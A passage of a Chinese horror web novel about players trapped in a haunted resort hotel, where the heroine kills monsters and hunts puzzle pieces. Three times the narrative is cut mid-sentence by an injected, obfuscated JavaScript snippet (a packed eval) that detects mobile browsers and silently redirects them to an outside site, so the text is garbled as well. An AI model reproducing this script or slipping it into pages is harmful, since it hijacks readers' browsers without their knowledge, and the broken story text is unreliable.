林昭月咽下一口肉丸,问道:“会不会是同样的行为导致我们被选中的?” 韩东斩钉截铁地说:“不会!” 林昭月清楚自己是因为拼图碎片才会成为玩家,她和在场的新人都不一样。这一点不能暴露,她神色并没有太大的变化。低头一口一口吃掉肉丸,喝干碗底的汤。 南黎川的肉是陈默替他吃的,林小满却没让林昭月帮忙。 饥饿会让体力下降,林昭月认同她的选择。 很快,每个人都吃光早餐,让人失望的是谁也没有吃出碎片。 林昭月拉开椅子站起来,在厨师的注视下推开后厨的门。里面白墙灰地砖,没有任何可以藏匿食物的地方。 林昭月转过头。厨师不知何时竟无声无息来到她的身后,咧开一张满上獠牙的嘴对她笑。 她问:“你的食材从哪来的?” 厨师没有回答她,只是沉默着流出口水。 林昭月挑眉:“我不是狗骨头……” 厨师问:“什么意思?” 林昭月说:“狗不要围着我转。” 厨师脸上的油光更亮,长满尖牙的大嘴咧开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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,神情越来越冷酷。她短短几秒内,已下定决心。双手握住弹簧刀,一刀割喉。顿时鲜血四溅,像喷泉一样洒向她的脸庞,险些糊住眼睛。 这是她第一次杀人。 林昭月的表情一片空白,四四方方的后厨空间在旋转,令人胃袋翻腾。她缓慢地把视线挪向地上的韩东,被割断动脉的人一定不能活下来了。 事情超乎她的预料,只见韩东捂着脖子尖叫着,褪去活人身上特有的血色,手部的皮肤变得苍白如纸。并陆续蔓延全身,由一名一米八的男性变成一名不足一米七的女性。 她身穿一袭摇曳的旗袍,脚上套着一双绣花鞋。 林昭月下意识喊道:“小姐姐……” 这人正是昨天引一行人进餐厅的女人。 林昭月退后两步,警惕地看着她。 女人咳出一口淡黄色的脓水。喷涌一地的鲜红血液也随着她的变化,变成半透明的浑浊液体,她睁着一双颤动的眼眸,不可置信地质问道:“你对队友竟然能下此狠手?” 林昭月说:“你管对自己挥刀子的男性叫‘队友’?” 女人尖叫:“那你可以选择控制我,不必下杀手。” 林昭月逼近女人,口中道:“应激反应而已,小姐姐你吓到我了。” 心中却想着,韩东作为资深玩家,很可能已经觉醒天赋。她真能控制住对方吗?这种做法太冒险,她是一定要离开游戏回到现实世界的,绝不能死在副本里。 女人撒开手,她伤口不再流脓水,仰着头质问道:“你不会为杀人感到愧疚吗?竟然毫不犹豫地割喉,你是变态吧!” 愧疚???那是活下来才能有的情绪。 如果变态能让她活下来,那做变态也无妨。 而且,你有什么立场质问我? 林昭月心里这样想着,脸上却当真露出愧疚的神情。她捏紧手中的刀,一步步靠近女人,说道:“骂得好!被你一说,我现在特别愧疚。请一定给我一个补救的机会!小姐姐,让我帮你止血吧。” 女人嘴角抽搐,一个字都不信,手脚并用地贴着地面往后挪动。 五官吓得一寸寸往下掉,嘴巴在五官的缝隙里,艰难挤出重围,发出声音:“你不要过来啊……” 8. 圣母垂泪(八) “砰”一声响,后厨的门被撞开。 陈默为首的一行人正要冲进来,林昭月喊道:“别!不能进来。” 她视线只从小姐姐的身上移开一瞬,就再也找不到她的踪迹。后厨里空无一物,她跑了。 韩东站在门口,挡住其他玩家,满脸关切地问:“林小姐,你没事吧?” 你们来得可真是不巧了! 林昭月收回弹簧刀,淡黄色的浑浊液/体滴落在地上。 “我没事,多亏你们及时赶到。” 她走出后厨,拉住林小满的手轻拍几下说:“进后厨可能是我遭遇那些东西袭击的原因。” 小姑娘手心冰凉,显然是吓到了。 林昭月转过身,把后厨的门带上:“里面什么都没有,我没找到拼图碎片。”说着,她的目光越过众人,落在脸上带着礼貌的微笑的周航身上。 “周航的情况似乎不妙。” 众人转头看去,周航站在一行人的末尾,脸上带着正好露出八颗牙齿的微笑,迎着队友们的目光,礼貌地说:“客人,有什么需要我做的吗?” 不用林昭月解释周航何处不妙,玩家们都已经看出端倪。 韩东眉头紧蹙,“怎么会这样?” 周航竟然称呼他们为客人?简直像是变身NPC一般,失去了玩家的自我意志。 他的惊讶并不作伪,在这一点上也没必要欺骗队友。林昭月回忆昨夜的一切,难不成挨个敲门的“周航”还真是本人?比起骤然变成NPC,一步步的转变似乎更为合理,难怪清洁工没有叫405的门,也没有破门而入的声音。 现在想来,405的门很可能是周航自己打开的。 她也想问,为什么会这样? 林昭月想起周航大口饮用泳池水的一幕,心中已有猜测。这样的话,绝不能进游泳池捞碎片。她轻拍冲过来的林小满的手,安慰道:“别怕,我没事。” 可惜没能弄死“小姐姐”,明明机会难得。 周航等不到客人们说话,转身朝着厨师走去。 厨师瞥见他,竟如看到熟悉的同事一般,提醒道:“喂,你怎么不穿工作服?” 周航闻言,口中念道:“工作服、工作服……工作服……” 他的脸上浮现些微挣扎之色,似乎是残留的人类意志在和影响他的力量做斗争,可惜挣扎只存在一瞬,便消失不见。 “是的,工作服,”厨师提醒道:“工作服都在员工休息室里,前方左转。” 周航走进员工休息室,关上门。 林昭月一行人走即将出餐厅的时候,周航正好从员工休息室里走出来。他穿着一身米夹棕的工作服,面带微笑对众人说:“客人们,早餐时间马上结束,请你们离开餐厅。午餐将在中午十二点开放,届时欢迎各位光临。主厨张先生会精心烹饪美食,等待诸位品尝。” 林昭月的背后一寸寸冒起鸡皮疙瘩,寒意从脚底往上蹿。 从这一刻开始,周航真的变成NPC了。 一个活生生人在她眼前变成那种东西,如何让人不惊疑。 …… “谁下水去捞拼图?” 游泳池旁边围着七个玩家,韩东说这话的意思,显然不准备自己下去。 水里有尸体。 池中的水称为“尸水”不为过。 怎么看都是“尸水”造成周航意识泯灭的可能性更大,潜进游泳池里能保证不喝进一口尸水吗? 绝无可能? 其他的玩家可能没想到这一节,但本能畏惧游泳池中的尸体。那具浮尸,众人都是亲眼所见。这会谁敢下水,万一一下水那尸体就作祟怎么办? 它出现是无声无息的,等反应过来的时候,基本已经来不及了。 一时间没有人说话,林昭月试探性问道:“一定得下水吗?” 韩东叹息一声说:“网兜根本捞不起拼图。” 昨天他已经尝试过,但无奈拼图的位置一直在改变。 韩东的视线在新玩家身上转一圈,接触到他目光的人都低下头。 林昭月适时开口:“如果把池底的所有东西都吸起来呢?那就不用大家下水!我有一个办法,可以制作简易的水底吸尘器。” 南黎川说:“我知道哪里有氯化铝。” 他声音依旧沙哑,但开口的时机很好。与一旁的陈默耳语几句,两人便朝着草坪另一侧的杂物间走去。 氯化铝是一种有效的絮凝剂。不多时,两人便抱出一盆黄色的东西。 南黎川说:“它可以把水里悬浮的澡类、灰尘和一些脏东西包裹住,沉进底部。撒进去水就会变得清亮,方便水底吸尘器作业。” 不愧是家里有泳池的大少爷,对一些普通人不知道的常识都有涉猎。 他忙碌着撒絮凝剂的时候,林昭月前往主楼,寻找小山一般的清洁工。她需要一个吸尘器的托盘,而清洁车里正好有一台吸尘器。 两个姑娘和林昭月一同行动,三人直到回到四楼,才找到清洁工。 小山一样的清洁工正堵着电梯门呼呼大睡,三人对视一眼,相继从缝隙里挤出来。 林昭月伸手去拿吸尘器,手指刚碰到吸盘,身后传来一道声音。 “客人,你在干嘛?” 清洁工身高三米,拳头大的眼睛倾斜向下,看着狗狗祟祟的三人。蒲扇一般的巴掌已经高高举起来,要是被她打中重要部位,林昭月不敢保证自己能活下来。 “你车上有灰尘,我帮你清理一下。” 林昭月面不改色的瞎说,为表示自己没有说谎,她还在清洁车的边缘拍打几下,露出不满的神色说:“先生,你还是该多注意一下清扫工具的洁净度,不然卫生永远打扫不干净。” 清洁工:“……” 倒打一耙的思路让她愣住,一时间给不出更多的反应。 林昭月趁机提要求:“清洁工先生,麻烦你帮我们打扫一下401房间。” 清洁工不说话,小山一样的躯体一动不动。 林昭月质问道:“这应该是你的职责所在吧?” 清洁工缓慢抬起粗壮的腿,往401的方向移动,厚重的声音带着恶意。 “我现在就去打扫,希望你不要后悔。” 林昭月冲两人使眼色,让两个小姑娘见机行事。迈步追上清洁工,从他一层层堆积着的肉里挤过去,拿出房卡主动打开门。 只是短暂的接触,林昭月身上的衣服竟蹭上一层油光。 酒店房间不足二十个平方,林昭月占据一角,清洁工先生挤进来之后,已无清洁车的位置。她只能把清洁车放在走廊上,不带进屋内。 “咦?” 清洁工低下头,下巴底下的肉荡起“Duang”的波纹。她在墙砖的缝隙里仔细寻找,但连指甲盖大小的蘑菇都没有找到。 这个发现让她非常不高兴,嘴角一点点往下撇,站起来朝卫生间走去。 “卫生间不用打扫,”林昭月拦住她的去路,用脚尖点地说:“先生,你只需要把地板弄干净就可以了。” 外面走廊里,林小满已经成功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438129|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿到吸尘器。以清洁工迟缓的动作,现在转头只会看到走廊上空无一人,林昭月刚放下心来,便见清洁工头部180度旋转,丝滑无比。接着,身躯向前挪动,嘴里大喊:“小偷,站住!” 清洁工庞大的身躯挤出房间,林小满和高庆晴一左一右朝着不同的方向跑去。 清洁工怪笑:“小偷,我不会放过你的。” 声音尖锐,带着浓重的恶意。说完,朝着抱着吸尘器的林小满追去,他就像是一座高山,林昭月根本无法越过他去帮助林小满。 幸好,林小满按照预定的计划,一路没有失误地蹿下楼梯,跑出主楼。纵然气喘吁吁,满头大汗,但拿到吸尘机的成就感,让她忘却身体的不适露出兴奋的笑容。手舞足蹈,双手不停比画着。 林昭月猜测,她是在说“我拿到吸尘器了”! 林昭月越过清洁工,跑出主楼,一把将林小满搂在怀里,笑着说:“我们小满真棒!” 林小满害羞地搂住林昭月的腰,把头埋在她的胸前——第一次被如此直白的夸奖和拥抱,让她幸福到晕眩,竟不觉得被选中成为拼图游戏的玩家有多糟糕了。 清洁工站在负一楼的门口,拳头大的眼睛里恶意弥漫:“该死的小偷,我一定会杀了你。” 高庆晴从电梯里跑出来,和两人会合。三人正要朝泳池走去,林昭月闻声停下脚步,转身看向清洁工,口中喃喃道:“不能就这么走了……” 林小满一愣,摇晃她的手臂。 高庆晴帮助她问出声:“可是吸尘器不是已经到手了吗?” “吸尘器已经到手,但有新的麻烦出现了。” 林昭月看着林小满,眼中只有她一人,温柔又缠绵地说:“为了你的安全,我要杀掉他。” 脱口而出的话,让林昭月的目光越发坚定。 主楼内,并不能听清她在说什么的清洁工背脊莫名发寒。 林小满拿出手写板,慌忙书写:“清洁工抓不住我的,他速度很慢。” “可他速度再慢,只要堵住门一样可以困死我们。先前不就是如此,”林昭月抬头看向天上的太阳:“现在是白天,我们可以选择不回房间,万一他专挑晚上来抓你呢?” 抓小偷是破门而入的理由,从优先级来说,绝对是高于客人的拒绝的。毕竟,抓小偷也算是保护客人的安全。 林小满的脸上的血色一瞬间褪尽,恐惧快从她的眼里溢出来。 林昭月连忙搂住她,哄道:“对不起,我吓到你了。”说着,用一只手抚摸她的头顶,这个动作能让人很好的缓解紧张:“别怕,乖啊!都是我不好,没有彻底吸引怪物的注意力,让她看见你拿走吸尘器。我会负责解决她的。” 林小满伸手比画起来,林昭月看不懂手语,笑着握住她冰凉的手指,说道:“你写给我看吧。”。 林小满意识到自己太过着急,连忙在手写板上写写画画。她询问该怎么杀死怪物。 一只身高三米,比三人加起来更宽大的,所有玩家的力量加起来,恐怕也难以撼动的清洁工。 而且那些东西,真的可以杀死吗? 当然可以。 林昭月抬起头,看向酒店的六楼。“阳光度假酒店”几个水泥浇筑的庞大字符高悬在楼壁的外侧,已经有一个“光”字脱落,剩下几个字摇摇欲坠,全靠下方的钢板托着,若是钢板的螺丝松动,它们会挨个往下掉。 以任何一个字的重量,想必掉下来都足以将地面砸出一个深坑。 清洁工的肉和骨,不会比水泥和石头更硬。 9.圣母垂泪(九) 正午的太阳霸道无比,天空只有明晃晃的金光。 万里无云,烈焰耀日。 对那些东西来说,今天应该不算一个好天气。 林昭月走到四楼,叫醒再一次睡着的清洁工。 睡眼惺忪的清洁工看到她,露出一个略显烦躁的神情,他似乎想问“你又来干嘛”,但问出口的话却是“客人,有什么需要帮助的吗?”他还提醒道:“401已经打扫得非常干净了。” 林昭月当作没听到,毫无“刺头”客人的自觉,视线一件件地扫过清洁车上的物品,在清洁工略显烦躁的目光中,拿起一卷卷纸便朝着楼梯跑去。跑到406门外,没有听到脚步声,还故意站住片刻,提醒道:“清洁工先生,快来抓小偷。” 清洁工:“……” 这是赤裸裸的挑衅,看着那飞扬的短发在空气中划过一个俏皮的弧度,清洁工怒上心头,暗暗发誓,等抓住这名该死的玩家,一定要用她的头发替换拖把的布条。 硕大的、层层叠叠的身躯拔地而起,挤进楼道里。他速度比平时略快三分,追着林昭月一路挪下楼梯,一直冲到负一楼大门口才停下脚步。一双昏黄的眼睛凸在眼眶外,像两颗鼓胀的肉球,牢牢锁定林昭月,脸上的神情充满恶意。 挑衅我能躲一日,但绝不可能躲得过一夜。 清洁工唇角勾起轻蔑的笑容,看着站在阳光里的林昭月,他此刻可以伸出手臂试着抓住对方,但毫无必要。他正打算转身离开,林昭月面无表情开口道:“略略略” 清洁工:“……” “嗷——” 清洁工怒吼一声,虎扑熊抱。双手探出主楼以外,露出满嘴的獠牙。他愤怒、气恼,像是一只失去理智的动物一样,誓要撕碎林昭月。却不料双手刚一探出,林昭月竟像等着他的动作一般,不躲不避,顺势抓住他的手腕,往前一拉。 可笑! 哪怕是四个人类男性一起用力,也难以让他挪动分毫。然而,让清洁工惊讶的是玩家的力量出奇的大,哪怕他此刻是重心不稳的状态,可的确也一个趔趄。一步、两步,沉重的身躯离开主楼,彻底暴露阳光之下。 “啊啊啊啊!” 清洁工爆发一声寺院钟鸣一般的惨叫,阳光火辣辣的照在身上,犹如沸水滚肉,痛苦难言。他伸出手想要抓住林昭月,林昭月却像是早有预料一般一步步后退,并向上看去。顺着她的目光,清洁工看到一块巨石从天而降,砸向自己—— 他迈开腿用平生最快的速度躲避,但沉重的身躯让他丧失灵巧。 “啊!” 地面碎裂,肉汁迸溅。 林昭月放下手臂,她浑身被溅满浑浊的黄色液/体,衣物已经湿透。啫喱状的半透明组织顺着发丝往下滑落,腥臭味占据鼻腔。 地面上竖插着一个水泥浇筑而成的“度”字。 它物理超度了清洁工。 韩东几人闻声赶来,看到这一幕,无一不吃惊。 韩东感觉自己的舌头变短了一截,“这是怎么回事?” 天降水泥招牌砸死怪物。 这是意外? 还是巧合? 林昭月说:“他拒绝把吸尘器借给我。” 林昭月回答的是清洁工的死因。 几人大受震撼,短暂失去语言功能。 林昭月已经自顾自改造起吸尘器,利用虹吸原理,便能制作出一个泳池吸尘器。 高庆晴和林小满一起跑下楼,后者想往她身上扑,被一只手按住。 “我身上脏。” 林小满的眼眶泛红,林昭月知道她作为拧掉螺丝的其中一人,肯定会担忧底下之人是否能躲开,但只要一直注意着楼上进度,危险性其实是可控的。她笑着安慰道:“已经没事了。” 不一会儿,泳池吸尘器制作完成。 几个男性玩家轮流使用它清理泳池底部的脏污,加上絮凝剂的作用,一切进行得很顺利。女性玩家则负责从吸出来的东西里分拣碎片,林小满的手上有伤,林昭月没有让她碰水淋淋的藻类和垃圾。 林小满说:“姐姐手上也有伤。” “我有天赋技能,不碍事。” 到目前为止,林昭月已经做过几次小小的测试。5点法力值不能让她对上那些东西的时候,造成多大的伤害,但水底的脏物是不能拿她怎样的。 高庆晴站起来捶腰,一脸羡慕地对林小满说:“你姐对你可真好。” 林小满:“……” 林昭月不是她的姐姐,但这件事高庆晴不知道。 她也不太愿意解释。 一个人要做两个人的活儿,林昭月一直没有休息。她手上不停,看似专心致志,其实一直有留意游泳池里的情况,所幸女尸一直没有出现。 中午十二点,厨师第一次走出餐厅。他来到游泳池旁,满面油光的脸上荡开一个笑容,说道:“午餐时间到了!各位客人请移步餐厅。” 没人有心情吃午餐,但厨师手里的刀让他们知道,这顿饭非吃不可。 七个人已经习惯用餐的流程,排成一排等着“丸子”煮熟。唯有一旁递给他们餐盘的周航让人很不舒服,他不仅已经彻底变成NPC,还在做NPC的工作。 林昭月问:“韩哥,他这样算活着还是死了?” 韩东思考她的问题,眉头蹙起,面带困惑。显然,这个问题对一个资深的玩家来说,同样没有答案。 “不瞒你说,玩家变NPC的情况,我也是第一次遇到。常年走夜路,今儿算是撞着鬼了!可能要等通关副本,他的生死才有定论。” 找到四块拼图,玩家就可以回到现实世界。到时候他能回是生,留下来就是死。 林昭月找到他话里的漏洞,问道:“他现在这样,脑子完全坏掉,就是通关副本回到现实世界,和死亡又有什么区别?” 如果他有家人,家人就会送他去治疗精神病。 他对自身的生死还有没有感知都不一定。 韩东解释道:“副本里受多重的伤,回到现实世界都会消失。周航这样,可以算作是伤到脑袋吧?” 小姐姐说:“不,这不是简单的受伤,他作为玩家已经死亡。” 林昭月问:“怎么说?” 小姐姐说:“他的个人意志已经消失,身躯化为酒店的一部分。这叫尸骨无存,哪还能活。不信的话,你扎他一刀,看他体内流出的是什么就知道我没说谎。” 林昭月问:“你什么时候来的?” 小姐姐说:“我一直在这儿。” 她排在韩东的后面,林昭月的前面。厨师问她要几颗丸子,她说要两颗,然后坐在玩家们占据的那一桌,独占半张桌子。随着一口一口地进食,餐厅里的光线缓慢变暗。 外面,一朵乌黑的云遮住太阳,气温骤然下降。 几分钟后,天色晦暗竟已如傍晚。女人痴痴笑出声,笑得五官乱掉,从面容上难以看出欣喜,但听语气心情是分外愉快的。 女人涂得鲜红的指甲划过玻璃,发出刺耳的声音。 “我喜欢阴天,喜欢雨。” 她看向画家斜挎在身上的相机,说道:“趁天气好,帮我拍几张照片吧。” 画家连连摇头,膀胱胀痛,尿意涌现。 女人眯起眼睛,露出危险的神色。 韩东说:“小姐姐,你别急。我劝劝他。” 女人端起餐盘,走出餐厅,坐到外摆区域晒乌云。 等她离开,韩东站起来,来回踱步,面露喜色道:“这是一个获得第四块拼图碎片的好机会。” 林昭月问:“怎么说?” 韩东喜形于色:“你们知道Cutscene?” 画家道:“游戏中的过场动画吗?一般代指‘强制剧情’或者‘固定剧情片段’。” 韩东点头,解释道:“没错,第四块碎片就是Cutscene!想要得到这块碎片,玩家需要根据图纸的内容,完成过场。” “等等、稍等一下。” 南黎川听到这里,终于忍不住了。该死的游戏!他站起来,双手撑在桌面上,居高临下地质问:“你的意思是——这个副本中,我们必须让外面那个女人进入图纸里对应的房间,坐在梳妆镜前,还得做出编辫子的动作,第四块碎片才会出现。” 韩东面色微沉,任谁被俯视都不会太高兴,但他没有发怒,平静地说:“你的理解是对的。” “狗屎!” 南黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15441865|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川大骂起来:“对个屁啊。那个女人根本不是人类,她绝不会按照我们的要求做……” 陈默按着他的肩膀,逼他坐下来。 “南先生,冷静一点。” 韩东说:“之前是不会,可现在不一样了。她主动提出让画家拍照片,劝说她进房间里拍一组镜前照,大概率会成功。毕竟,模特需要听从摄影师的建议。” 桌上众人都看向外面的女人,她正往里面看来,五官又有些移位,但能从她的眼睛里看出期盼之色。 可行度似乎挺高的,他们沉思被碗碰撞桌面的声音打断。 林昭月丢下筷子说:“赶紧吃,吃完还有活儿要干。” 几人这才如梦初醒,快速吃完碗里的肉丸子。遗憾的是这一顿饭里面,依旧没有碎片。 一个多小时后,林昭月从刚吸出的一堆垃圾里,找出一片碎片。它的质感和现实世界里的那一片一模一样,只是色彩不同。现实世界那一片是空白的,这一片绘制着碧蓝的泳池。 经过清理的泳池,水质变得干净,此刻的确如拼图碎片一般碧蓝。 林昭月收起拼图,看向面带喜色走近的韩东。 “她答应了!” 韩东抽出一支烟递给画家,说道:“待会儿看你的,先在泳池周围拍几张,然后引导她拍室内场景。” 他一一安排众人,林昭月的任务是领着林小满和高庆晴布置房间,图纸对应的房间已经被韩东找到。 “我认为应该先确定图纸里女人的身份,”林昭月反对计划,理由很充分:“因为她的性别,还因为她身上的旗袍,所以认定图纸里的女人是她。这是不是太草率了?她手腕上没戴银镯子,耳后没有胎记,这些和图纸中女人并不完全相符。” 韩东说:“我没留意到你说的细节。” 他看向众人,每个人的脸上都是近乎相同的回忆、深思、疑惑,他问画家:“林小姐说的这些,你有印象吗?” 画家摇头,表示自己没有注意到她所说的那些,甚至拿出自己绘制的图纸,展示给大家看。 “绘画是我的职业,敏锐的观察力更是职业需求,我对自己很有信心。会不会是林小姐记错了?已经过去一天多的时间,记忆出现一些差错也不奇怪。” 林昭月并无丝毫动摇,她百分百相信自己,对其他人的信任有多少根本无须细究。 “既然有分歧,我们会单独行动。” 她无意争辩,拉着林小满离开。 “等等,林小姐,”韩东上前拦住她,蹙眉说道:“周航的遭遇,大家都是亲眼所见,做不得假。我有通关两次副本的经验,你可以多相信我一点,而且脱离群体单独行动,这在哪一部恐怖片里都是作死行径。” 这是在给她打上“炮灰”的标签,林昭月轻笑一声说:“如果我被自己的选择害死,好歹知道死因,总比个人意志被群体裹挟,生死一刻只有无尽懊悔的好。” 韩东正要说话,林昭月继续道:“到目前为止,那些东西主动的要求,有哪一件不是为迫害我们?清理蘑菇的前台发疯,清洁工大半夜提供客房服务,厨师喊我们吃饭,是在找机会动手。小姐姐忽然让拍照片,谁知道安的什么心。” 韩东劝道:“Cutscene拼图从来都伴随危险,危险也是机遇。” 林昭月叹息一声,见道理说不通开始说哲学:“人的一生有很多选择都是别人帮着做的,你我在拼图游戏的世界里,不过是插满契针的提线木偶而已。生不由己,死途自择。让开吧,韩哥。” 韩东:“……” 他觉得再劝下去,自己这边的人就该倒戈了。 可他不愿放林昭月离开,这是一名拥有天赋技能的玩家。 陈默站出来说话:“让她们走。几个大男人拦着两个小姑娘不像话,和胁迫有什么差别。” 南黎川哑着声音说:“老陈,韩哥是为她们好……” “南先生,我受金钱雇佣为你工作,但没有把人格售卖给你。” 南黎川:“……” 老板的第一素养就是唾面自干,他默默退到一边。 陈默双手握拳,骨骼“噼啪”作响。 “今天我在这里,谁也不能拦她们。” 10.圣母垂泪(十) “陈哥是个好人。” 林小满的书写板发出清脆的少女音。 酒店的电力系统还在运转,她无需担忧交流的工具没电。不过,酒店里太安静,她总感觉书写板的音量太大会惊动一些藏在暗处的东西,故而音量已经调到最小。 “哥是个好人。” “是个好人。” “个好人。” 走廊里回声乱撞,连两人行走间发出的脚步声都被放大。“哒哒哒”“哒哒哒”,仿佛有无数隐形人和她们一起并肩行走。 明明四周空旷,林小满却觉得拥挤,她抱住林昭月的胳膊,以此获得安全感。 吸顶灯忽然闪烁起来,一明一暗,前面房间没有关严的门“嘎吱”作响。 林小满浑身一颤,像只受惊的兔子一样差点跳起来。 外面的天空阴沉沉的,脚下的道路在黑云的映衬下变得灰暗,她疑心有东西会从下一路口扑出来,又觉得身后有什么东西在盯着她。 错觉而已,不要转头—— 林小满提醒自己,千万不要给姐姐添麻烦。 “希望好人长命。” 林昭月衷心祝福陈默,并拍拍林小满的胳膊,让她别怕。可话音未落,墙角的草丛里便传来窸窸窣窣的声响,转头看去,对上数只猩红的瞳孔。 饶是林昭月都不由心中都不由一惊,连忙眨动眼睛,凝神再看。没有密密麻麻的眼睛,只有一颗颗掉落在草丛里的不知名红果子。 这么下去胆气会被耗光,没准真会出事,而且林小满被吓到,也不符合达成“一重契约·悉心照顾”的要求。 林昭月清清嗓子—— “正道的光照在了大地上 把每个黑暗的地方全部都照亮。” “坦荡是光像男儿的胸膛 有无穷的力量如此的坚强。” 林小满:“……” 中气十足的歌声回荡,特殊的环境之下,仿佛是三四十个人的大合唱。唱出正义、唱出无畏,唱出正道的光,这光照亮黑暗。 林小满真的感觉走廊在变亮,刚才隐秘鬼魅的氛围消失无踪。 林昭月自觉唱得还不赖,扭头询问林小满:“好听吗?” 林小满连连点头。 林昭月问:“还怕吗?” 林小满眼睛亮晶晶的,一脸崇拜地摇头。 恐怖片拍得再好,也要配上合适的BGM。《午夜凶铃》配最炫民族风,贞子爬出电视机的时候,都得忍不住扭几下。 林昭月笑着说:“我再唱一首。” “爱你孤身走暗巷 爱你不跪的模样 爱你对峙过绝望……” “去吗?配吗?这褴褛的披风 战吗战啊 以最卑微的梦 致那黑夜中的呜咽与怒吼 谁说站在光里的才算英雄……” 层层叠叠的回声之下,那呐喊几乎把楼板震破。 高潮部分唱完,林昭月接过矿泉水,打开一饮而尽。 林小满:“这首歌真好听,叫什么名字?” 已经2024年,还有人不知道《孤勇者》?不过林小满的情况特殊,不仅语言功能有障碍,而且家境也不好。这一点任谁都能看得出来。 小姑娘身上穿的衣服,没一件符合她的年龄,脚上穿的鞋尺码不对,而且连手机都没有。 这种情况下,对热梗一无所知是合理的。 “它叫《孤勇者》,我不记得全部的词,等出去你随便就能找到全部的词。” 孤勇的余音环绕,再没有让人疑神疑鬼的声响出现。林小满终于想起询问,她们现在去哪。 “寻找‘芳华摄影工作室’,做地图勘探。” 来到一个陌生的地方,四处转转是人类的本能反应,搞清楚阳光度假酒店的情况是昨天就该做的事情,无奈资深玩家韩东只对拼图碎片出现的区域有兴趣。 比起地图勘探,先前肯定是获得拼图游戏的信息更为重要。 现在信息已经获取七七八八,林昭月开始思考:韩东不做的事情,真的就没必要? 她问林小满,“你觉得韩东怎么样?” 林小满不用思考,便能说出自己对韩东的看法:“他看起来很镇定,但比所有人都害怕待在这里,迫切地想要离开。” 林昭月没想到会听到这样一番话,沉默者往往拥有强大的观察力。她恍然大悟,明白韩东的问题在何处了。 一个一心想要逃跑的玩家,永远不可能摸清游戏的运行规则。 “谢谢你,小满,”林昭月说:“我对自己更有信心了。” 虽然不知道自己对姐姐有什么帮助,但听到自己能派上用场,林小满非常开心。 主楼周围的独立矮层房屋,只有接进水系的少部分是客房。可能还是客房中档次较高,售价比较昂贵的一类,更多的房屋还是起配套的作用。两人一路带着合唱团,不到一个小时就把酒店勘探大半,连犄角旮旯的地方都没有放过,却始终不见芳华摄影工作室的踪迹。 现在只剩下最后一片矮层连片的房屋,林昭月希望有所收获,可她们在这里发现一家服装店,主要售卖泳装,大多数的衣物早已腐朽,似乎都已荒废多时,只是踏进去片刻,鼻子便吸进去很厚一层灰。打个喷嚏,遮掩口鼻的纸巾立刻变成黑色。 没走几步,又见一家甜品铺子,里面蛇鼠成堆。要不是两人关门的速度够快,很可能会被咬上一两口。 这一片最后一家店是24小时的便利店,透过玻璃门,可以清晰看到里面的情景。店内好似一个蘑菇繁育基地,地板上、墙面上、货架上,全都长满蘑菇,成团挤在一起。因为空间有限,蘑菇又太多,故而菌盖被挤碎,白杆被挤断,远远看去,像是一个个飘在空中的大瘤子。 货架上倒是有一些看起来还能吃的食物,但为一点食物闯进蘑菇中间,显然不是明智之举。 林昭月正打算离开,便利店里忽然响起沙哑的咳嗽声。 “外面有人吗?” “喂——” 林昭月没有回应,但里面的声音继续说:“我看到你们了。” “终于让我等到有人类出现,”那声音连续不断,苍老和疲惫难以掩饰,祈求道:“你们倒是应我一声啊!好心的姑娘,我被关在这里很久了。请你救救我,如果你救下我,我就会帮助你……” 这还是林昭月两人勘探酒店以来,第一次遇到可以交谈的存在。 如果是上午的天气,应该能看清里面的情况。现在,林昭月没办法找到发出声音的东西,目光在肉瘤一般的蘑菇中穿梭,口中道:“《渔夫和魔鬼》的故事,你听过吗?” 那声音说:“没有听过。” 林小满主动敲打起书写板。 “从前有一个渔夫,从海里救出魔鬼。魔鬼说:被关押的第一个世纪,我发誓谁救我,我就让他一辈子荣华富贵;第二个世纪,我发誓要帮恩人挖出世界上所有的宝藏;第三个世纪,我决定满足救我的人三个愿望。可是,五个世纪都没有人发现他。于是,魔鬼发誓,谁救下他,他一定会杀死对方。” 林昭月问:“你是被关押几个世纪的魔鬼呢?” 那声音沉默几秒,说道:“我不是魔鬼,而是受邀清扫酒店的驱魔师,平时专门接受委托,处理灵异事件。没料到酒店里的东西太凶,以我的道行对上她是螳臂当车,如今落到这个地步,只求有人相助,帮我离开此地。等我请来师傅师兄相助,必能除掉祸患。” 林昭月问:“怎能帮?” 那声 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眼珠是没有的,但林昭月挪动手机,却见本该空荡荡的颅骨里,竟然跳动着一颗湿漉漉的脑子。 细密的血管如红蛇般缠绕在豆腐块一样的白色组织上,灰粉色的脑回褶皱间渗出黏腻的液体,滴落在地上。 “你看够没有?” 它开口说话,下颌骨脱离头骨的桎梏,露出嘴里的东西。 颜色青白,长满水泡状的疙瘩,质地宛如人类的皮肤,毛孔和皮下血管清晰可见。赫然便是一簇疱疹菇。 林昭月说:“没有。” 骷髅:“……” 